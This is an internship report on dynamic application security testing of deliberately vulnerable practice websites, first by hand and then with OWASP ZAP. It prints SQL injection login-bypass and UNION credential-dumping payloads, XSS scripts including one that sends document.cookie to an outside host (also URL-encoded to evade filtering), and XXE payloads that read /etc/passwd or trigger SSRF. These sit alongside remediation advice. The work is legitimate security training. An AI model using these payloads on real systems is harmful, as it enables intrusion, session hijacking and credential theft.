|  |  |
| --- | --- |
| Internship Project Title | RIO-125: Applying Dynamic Application Security Testing Tools to Find Defects in Web Applications |
| Project Title | Applying Dynamic Application Security Testing Tools to Find Defects in Web Applications |
| Name of the Company | TCS iON |
| Name of the Industry Mentor | Priyanka Oberoi |
| Name of the Institute | K.B.N college |

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Start Date | End Date | Total Effort (hrs.) | Project Environment | Tools used |
| 16-08-2022 | 18-08-2022 | 125 | Insecure Websites | OWASP ZAP |
| Project Synopsis:  **TABLE OF CONTENT**   * Acknowledgements * Objective * Introduction / Description of Internship * Internship Activities * Approach / Methodology * Assumptions * Exceptions / Exclusions * Charts, Table, Diagrams * Algorithms * Challenges & Opportunities * Risk Vs Reward * Reflections on the Internship * Recommendations * Outcome / Conclusion * Enhancement Scope * Link to code and executable file   **Acknowledgements:**  I would like to express my deepest appreciation to all those who provided me the possibility to complete this report. A special gratitude I give to my mentor, MS Priyanka Oberoi, whose contribution in stimulating suggestions and encouragement, helped me to coordinate my project especially in writing this report.  **Objective:**   * Applying Dynamic Application Security Testing Tools to Find Defects in Web Applications   **Introduction / Description of Internship:**  Dynamic Application Security Testing (DAST) is the process of analyzing a web application through the front-end to find vulnerabilities through simulated attacks. This type of approach evaluates the application from the “outside in” by attacking an application like a malicious user would. After a DAST scanner performs these attacks, it looks for results that are not part of the expected result set and identifies security vulnerabilities.  **Title of Internship :** Applying Dynamic Application Security Testing Tools to Find Defects in Web Applications.  Attacking insecure websites manually without any tool and exposing vulnerabilities in the website and then using OWASP zap tool to expose vulnerabilities.   1. Finding some insecure websites that are purposefully designed to be used for hacking practice. 2. Attacking those insecure websites with various attacks.   **Internship Activities :**  **Phase1**:  1. Learn about Open Web Application Security Project(OWASP)&OWASP Top 10.  2.Get a detailed understanding of the following severe vulnerabilities, commonly occurring in web-based applications:  i. SQL Injection  II. Cross-Site Scripting (XSS)  iii. Broken Authentication  iv. Broken Access Control  v. Security Misconfiguration  vi. Sensitive Data Exposure  vii. Application uses components with known vulnerabilities  3. Study in detail about following approaches to find vulnerabilities in an application and understand how do they complement each other:   * Dynamic Application Security Testing (DAST). * Static Application Security Testing (SAST)or Source Code Analysis.   4.Perform DAST manually (without a tool). Find vulnerabilities in an insecure application.  **Phase2**:  1. Understand and Install the OWASP Zed Attack Proxy (ZAP)tool.  2. Explore the OWASP ZAP.  3. Use OWASP ZAP and/or other DAST tools to perform DAST.As compared to manual testing, expand test coverage in terms of application features tested as well as the types of vulnerabilities now uncovered. Find new vulnerabilities in an insecure application. | | | | |
| Solution Approach:   1. **SQL injection:** The validation process is aimed at verifying whether or not the type of input submitted by a user is allowed. Input validation makes sure it is the accepted type, length, format, and so on. Only the value which passes the validation can be processed. It helps counteract any commands inserted in the input string. In a way, it is similar to looking to see who is knocking before opening the door. 2. **Cross Site Scripting (XSS):** Input fields are the most common point of entry for XSS attack scripts. Therefore, you should always screen and validate any information input into data fields. This is particularly important if the data will be included as HTML output to protect against reflected XSS attacks. Validation should occur on both the client-side and server-side as an added precaution. validating the data before it’s sent to servers will also protect against persistent XSS scripts. This can be accomplished using JavaScript. 3. **Sensitive Data Exposure:**  * Considering the threats, you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. * Ensure strong standard algorithms and strong keys are used, and proper key management is in place. * Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.  1. **Broken Authentication:** The web application must be able to end web sessions after a period of inactivity that depends on the type of requirements of the user. A secure banking portal, for example, must automatically log out the user after a few minutes to avoid any risks of hijacked session IDs. | | | | |
| Assumptions:   1. Attacking a website with OWASP TOP 10 vulnerabilities will not affect the website. 2. Opening links on websites that take us to another website will not affect us. 3. We can secure our websites by not accepting hashes or numbers as input. So that hackers can't attack our website. 4. We can secure our websites by avoiding script tags in input. So that hackers can't attack our website. 5. Regression testing can improve the security of the website. | | | | |
| Project Diagrams:  **Phase1:**  **SQL Injection:**   * SQL injection is a code injection technique that might destroy your database. * SQL injection is one of the most common web hacking techniques. * SQL injection is the placement of malicious code in SQL statements, via web page input.  1. **a)Location:** 44.228.249.3   **b)Step1: Testing for SQL injection**   * This is an insecure website   BEFORE THE ATTACK    Reference Link: <http://testphp.vulnweb.com/>   * By checking which database this website contains by entering apostrophe in the URL.      * This website uses an SQL database.     Now, we can attack this website.   * Using 1’or’1’=’1 in both username and password, we can login to the website.       After login  This page is using get request.  **Step2:** Find how many vulnerable columns the site has using order by --      **It uses less than 12 columns**    **No error**  This site contains 11 columns.  **Step3:** Find all vulnerable columns using union select all—    **union select all--**  **Found broken image**  7,2,9 are vulnerable columns.  **Step4: Exploiting Vulnerability:**   * Find database, user, version using those vulnerable columns.     **user**  **version**  **Database name**   * Find username and password   (union select all 1, group\_concat(uname," ",pass),3,4,5,6,7,8,9,10,11 from users--)    **Username password**  Username is test and password is test.    **c)Risks/undesirable impact if exploited:**   **By Passing Authentication:** It is most important to focus on By Passing Authentication during the penetration test because the attacker can access to the database just like an authorized user and he can perform his desired tasks on the data base.   **Identifying Injectable Parameters:** The attacker will collect the information about the structure of the back-end database of a web application and he will include the dynamic content in to the web site. This may lead the visitors to install malicious code and may redirect to the malicious site.  .  **d)How to fix the defect:**  The validation process is aimed at verifying whether or not the type of input submitted by a user is allowed. Input validation makes sure it is the accepted type, length, format, and so on. Only the value which passes the validation can be processed. It helps counteract any commands inserted in the input string. In a way, it is similar to looking to see who is knocking before opening the door.  **e)Reference Link:** <http://testphp.vulnweb.com/>    **2.Cross Site Scripting(XSS)**  **a)Location:** 65.61.137.117  **b)**Cross site scripting(XSS) is a client-side code injection attack. The attacker aims to execute malicious scripts in a web browser of the victim by including malicious code in a legitimate web page or web application. The actual attack occurs when the victim visits the web page or web application that executes the malicious code. The web page or web application becomes a vehicle to deliver the malicious script to the user’s browser. Vulnerable vehicles that are commonly used for Cross-site Scripting attacks are forums, message boards, and web pages that allow comments.   * This is an insecure website.     Website Reference Link: <http://www.altoromutual.com/>   * Pop-up message using this script   (<script>alert("Hey!!")</script>)      Pop-up message with Hey!!.   * Using this script, you can obtain a website domain.   (<script>alert(document. Domain)</script>)      Website domain(www.altoromutual.com).   * If the user clicks this link, the script will execute. The user will go to another webpage.   (<script>window.location.replace("http://testphp.vulnweb.com/index.php?cookie="+document.cookie+"")</script>).  Hence, the website will not accept scripts as input. We have to encode the URL.  (%3Cscript%3Ewindow.location.replace%28%22http%3A%2F%2Ftestphp.vulnweb.com%2Findex.php%3Fcookie%3D%22%2Bdocument.cookie%2B%22%22%29%3C%2Fscript%3E)     * This URL contains a script that can get the victims' session id by sending this URL along with a warning pop-up.   (<script>alert("you are stolen “+document. Cookie)</script>)  **C)Risks/Undesirable impact if exploited:** Account Hijacking: Attackers often steal session cookies in the browser to hijack legitimate user accounts. This allows attackers to take over the victim's session and access any functionality or sensitive information on their behalf. Assuming a malicious actor managed to steal the session cookies of an administrative account, the attacker can gain administrative access to the entire web application.Data Leakage: Another powerful XSS attack vector is exfiltrating sensitive data, such as social security numbers, personally identifiable information (PII), or credit card info, and performing unauthorized operations, such as bank transactions. Once the attacker has access to the personal or sensitive information of users, they can demand ransom payments from the organization to delete the data, or leak the information of their customers.d)How to fix the defect:Output Encoding: Output encoding is the primary defense against cross-site scripting vulnerabilities. It is the process of converting untrusted data into a secure form where the input is visible to the user without executing the code in the browser. You can protect your web application from various forms of cross-site scripting by using HTML entity encoding before sending untrusted data into browser.****URL:**** This rule is specifically when you want to put untrusted data into the HTTP GET parameter value. Consider escaping all characters with ASCII values less than 256 using the “%HH” format. Ensure all attributes are quotes properly as unquoted attributes can be easily broken with various characters such as \*, [space], /, %, etc.e) Reference Link: <http://www.altoromutual.com/> **3.Logging & Monitoring:**  Returning to the OWASP Top 10 2021, this category is to help detect, escalate, and respond to active breaches. Without logging and monitoring, breaches cannot be detected. Insufficient logging, detection, monitoring, and active response occurs any time.  **a)Location:** 117.34.13.36  **b)Logging and monitoring of a website:**        **c)Risks:**   * Attackers take advantage of lack of logging and monitoring to abuse systems without being noticed. * Without visibility over on-going malicious activities, attackers have plenty of time to fully compromise systems.   **d)How to fix the defect:**   * All login, access control, and server-side input validation errors should be logged with sufficient user context to identify suspicious or malicious accounts. Logs should be retained for a period of time that allows delayed forensic analysis. * Ensure that logs are created in a format that can be easily used by central log management tools.   **e) Reference Link:** [**http://mutillidae.bihuo.cn/**](http://mutillidae.bihuo.cn/) **4. XML external entity (XXE) injection**  **XML external entity injection:**  XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.  In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks. **How do XXE vulnerabilities arise:** Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application. **What are the types of XXE attacks :** There are various types of XXE attacks:   * **Exploiting XXE to retrieve files**, where an external entity is defined containing the contents of a file, and returned in the application's response. * **Exploiting XXE to perform SSRF attacks**, where an external entity is defined based on a URL to a back-end system. * **Exploiting blind XXE exfiltrate data out-of-band**, where sensitive data is transmitted from the application server to a system that the attacker controls. * **Exploiting blind XXE to retrieve data via error messages**, where the attacker can trigger a parsing error message containing sensitive data.  **Exploiting XXE to retrieve files :** To perform an XXE injection attack that retrieves an arbitrary file from the server's filesystem, you need to modify the submitted XML in two ways:   * Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file. * Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity.   For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:  <?xml version="1.0" encoding="UTF-8"?>  <stockCheck><productId>381</productId></stockCheck>  Before the enter of login details:    The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:  <?xml version="1.0" encoding="UTF-8"?>  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId></stock  After the enter of login details:   **Exploiting XXE to perform SSRF attacks:** Aside from retrieval of sensitive data, the other main impact of XXE attacks is that they can be used to perform server-side request forgery (SSRF). This is a potentially serious vulnerability in which the server-side application can be induced to make HTTP requests to any URL that the server can access.  To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value. If you can use the defined entity within a data value that is returned in the application's response, then you will be able to view the response from the URL within the application's response, and so gain two-way interaction with the back-end system. If not, then you will only be able to perform blind SSRF attacks (which can still have critical consequences).  In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>    The process has started:     **Blind XXE vulnerabilities:** Many instances of XXE vulnerabilities are blind. This means that the application does not return the values of any defined external entities in its responses, and so direct retrieval of server-side files is not possible.  Blind XXE vulnerabilities can still be detected and exploited, but more advanced techniques are required. You can sometimes use out-of-band techniques to find vulnerabilities and exploit them to exfiltrate data. And you can sometimes trigger XML parsing errors that lead to disclosure of sensitive data within error messages.   **Finding hidden attack surface for XXE injection :** Attack surface for XXE injection vulnerabilities is obvious in many cases, because the application's normal HTTP traffic includes requests that contain data in XML format. In other cases, the attack surface is less visible. However, if you look in the right places, you will find XXE attack surface in requests that do not contain any XML. XInclude attacks : Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. An example of this occurs when client-submitted data is placed into a back-end SOAP request, which is then processed by the backend SOAP service.  In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and so cannot define or modify a DOCTYPE element. However, you might be able to use XInclude instead. XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.  To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example:  <foo xmlns:xi="http://www.w3.org/2001/XInclude">  <xi:include parse="text" href="file:///etc/passwd"/></foo> XXE attacks :  XXE attacks via file upload:  **How to find and test for XXE vulnerabilities:** The vast majority of XXE vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.  Manually testing for XXE vulnerabilities generally involves:   * Testing for [file retrieval](https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files) by defining an external entity based on a well-known operating system file and using that entity in data that is returned in the application's response. * Testing for [blind XXE vulnerabilities](https://portswigger.net/web-security/xxe/blind) by defining an external entity based on a URL to a system that you control, and monitoring for interactions with that system. * [Burp Collaborator client](https://portswigger.net/burp/documentation/desktop/tools/collaborator-client) is perfect for this purpose. * Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an [XInclude attack](https://portswigger.net/web-security/xxe#xinclude-attacks) to try to retrieve a well-known operating system file.  Note Keep in mind that XML is just a data transfer format. Make sure you also test any XML-based functionality for other vulnerabilities like [XSS](https://portswigger.net/web-security/cross-site-scripting) and [SQL injection](https://portswigger.net/web-security/sql-injection). You may need to encode your payload using XML escape sequences to avoid breaking the syntax, but you may also be able to use this to [obfuscate your attack](https://portswigger.net/web-security/reference/obfuscating-attacks-using-encodings#obfuscation-via-xml-encoding) in order to bypass weak defences. **How to prevent XXE vulnerabilities:** Virtually all XXE vulnerabilities arise because the application's XML parsing library supports potentially dangerous XML features that the application does not need or intend to use. The easiest and most effective way to prevent XXE attacks is to disable those features.  Generally, it is sufficient to disable resolution of external entities and disable support for XInclude. This can usually be done via configuration options or by programmatically overriding default behavior. Consult the documentation for your XML parsing library or API for details about how to disable unnecessary capabilities.  **PHASE 2:**  **OWASP ZAP:**  Zed Attack Proxy (ZAP) is a free, open-source penetration testing tool being maintained under the umbrella of the Open Web Application Security Project (OWASP). ZAP is designed specifically for testing web applications and is both flexible and extensible.  At its core, ZAP is what is known as a “man-in-the-middle proxy.” It stands between the tester’s browser and the web application so that it can intercept and inspect messages sent between browser and web application, modify the contents if needed, and then forward those packets on to the destination. It can be used as a stand-alone application, and as a daemon process.   * **These are the new vulnerabilities found by using OWASP ZAP**       **These are the vulnerabilities found:**   * Cross Site Scripting (DOM Based) * Cross Site Scripting (Reflected) * SQL Injection * .htaccess Information Leak * Absence of Anti-CSRF Tokens * Content Security Policy (CSP) Header Not Set * Missing Anti-clickjacking Header * Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s) * X-Content-Type-Options Header Missing * Charset Mismatch (Header Versus Meta Content-Type Charset) * Information Disclosure - Suspicious Comments   ***BEFORE SCANNING THE WEB APPICATION WITH ZAP TOOL***    ***AFTER THE SCANNING THE WEB APPLICATION***    **These vulnerabilities can cause a serious damage to the website.**   1. **Cross Site Scripting (DOM Based)**   Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.  **Risks:**   * Data enters a web application through an untrusted source. In the case of DOM-based XSS, data is read from a URL parameter or other value within the browser and written back into the page with client-side code. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store. * The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.   **Prevention:**  Use a vetted library or framework that does not allow this weakness to  occur or provides constructs that make this weakness easier to avoid.  Examples of libraries and frameworks that make it easier to generate  properly encoded output include Microsoft's Anti-XSS library, the OWASP  ESAPI Encoding module, and Apache Wicket.   1. **SQL Injection**   SQL injection is a code injection technique that might destroy your database. It is one of the most common web hacking techniques.  SQL injection is the placement of malicious code in SQL statements, via web page input.  **Risks:**   * By Passing Authentication * Identifying Injectable Parameters * Executing Remote Commands   **Prevention:**   * Do not trust client side input, even if there is client side validation in place. * In general, type check all data on the server side. * If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by '?'  1. **Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)**   The web/application server is leaking information via one or more "X-Powered-By" HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to.  **Risks:**  The "X-Powered-By" header reveals information about the technology used  in an application. This can be a valuable hint for hackers who can exploit  security weaknesses of the technology.  **Prevention:**  Ensure that your web server, application server, load balancer, etc. is  configured to suppress "X-Powered-By" headers. | | | | |
| Algorithms: | | | | |
| Outcome:   * **Testing an insecure web application by using the DAST tool and exposing vulnerabilities.** | | | | |
| Exceptions considered:   1. While submitting the script in the message box, it is showing blank. 2. The website can't store the messages or comments. | | | | |
| Enhancement Scope:  My internship has taught me a lot about my skill set and given me confidence in my own abilities. It has helped guide my career aspirations and will definitely help me in my future career choices. I also gained knowledge about different attacks and vulnerabilities which affects a web application. The knowledge I gained will help me to face the real world post-graduation. My experience has brought me closer to my goals and I am excited for what the future has to bring! | | | | |
| Link to Code and executable file: | | | | |
|  | | | | |